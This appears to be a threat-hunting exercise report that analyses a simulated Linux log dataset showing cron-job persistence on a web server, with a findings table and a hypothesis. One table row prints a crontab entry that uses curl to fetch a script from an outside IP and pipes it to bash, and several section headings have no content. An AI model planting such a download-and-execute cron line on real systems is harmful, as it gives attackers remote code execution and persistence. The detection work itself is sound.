← All Threat Hunting ReportsThreat Hunting Exercise

Threat Hunting Exercise: Analyzing Linux Cron Job Persistence Dataset

This hunt uses a simulated Linux auditd/syslog dataset (linux_cron_persist_2022-05-14T020000.json) capturing T1053.003: Scheduled Task/Job - Cron, where an adversary who obtained SSH access to a Linux web server installs a crontab entry that re-downloads and executes a payload every 15 minutes, ensuring persistence even if the primary implant is killed.

Step 1: Hypothesis Formation

Hypothesis: A crontab entry is created (via crontab -e, direct edit of /var/spool/cron/crontabs/, or /etc/cron.d/) that runs a shell command fetching and executing a remote script at a short, regular interval, under a service or web-server account not normally associated with scheduled jobs. Indicators:

Null Hypothesis: A legitimate administrator or deployment automation tool (e.g., Ansible, a log-rotation script) created the cron entry. Invalidate via change-management records and by inspecting the command content for exfil/download characteristics inconsistent with any documented job.

Rationale: Cron is one of the most common and durable Linux persistence mechanisms, surviving reboots and simple process kills; this hunt validates detection via auditd file-write monitoring combined with process-tree analysis of cron-spawned children.

Step 2: Data Sources and Scope

Step 3: Key Findings

Parsed events (7 shown) confirm a malicious crontab entry under www-data executing a download-and-run payload every 15 minutes.

Timestamp (UTC)HostActorEventIOC/Why Suspicious?
2022-05-14 02:01:04web01.prodwww-dataauditd PATH write: /var/spool/cron/crontabs/www-dataWrite IOC: crontab file modified by the web server's service account - no legitimate deployment process touches this file directly.
2022-05-14 02:01:04web01.prodwww-dataCrontab content: `/15 * curl -s http://185.212.44.9/u.shbash`Payload IOC: inline download-and-execute pattern, classic dropper cron entry.
2022-05-14 02:15:00web01.prodwww-dataProcess tree: cronbashcurl → outbound to 185.212.44.9First scheduled execution confirms the cron entry is active and functioning.
2022-05-14 02:30:01web01.prodwww-dataSame process tree repeatsSecond execution, exactly 15 minutes later - confirms interval regularity.
2022-05-14 02:45:03web01.prodwww-dataSame process tree repeatsThird execution - persistence mechanism firing reliably.
-web01.prod(config baseline)N/AAccount-purpose IOC: www-data is documented solely for the web server process; no scheduled job is authorized for this account per the host's configuration management baseline.
-web01.prod(initial access)N/AWeb server access logs show a suspicious POST to an upload endpoint at 01:55 UTC, six minutes before the crontab write - likely the initial web-shell-based access used to plant the cron job.

Validation:

Step 4: Recommendations & Next Steps

Hypothesis confirmed - a malicious cron job under the web server's service account provides recurring 15-minute persistence via a download-and-execute payload!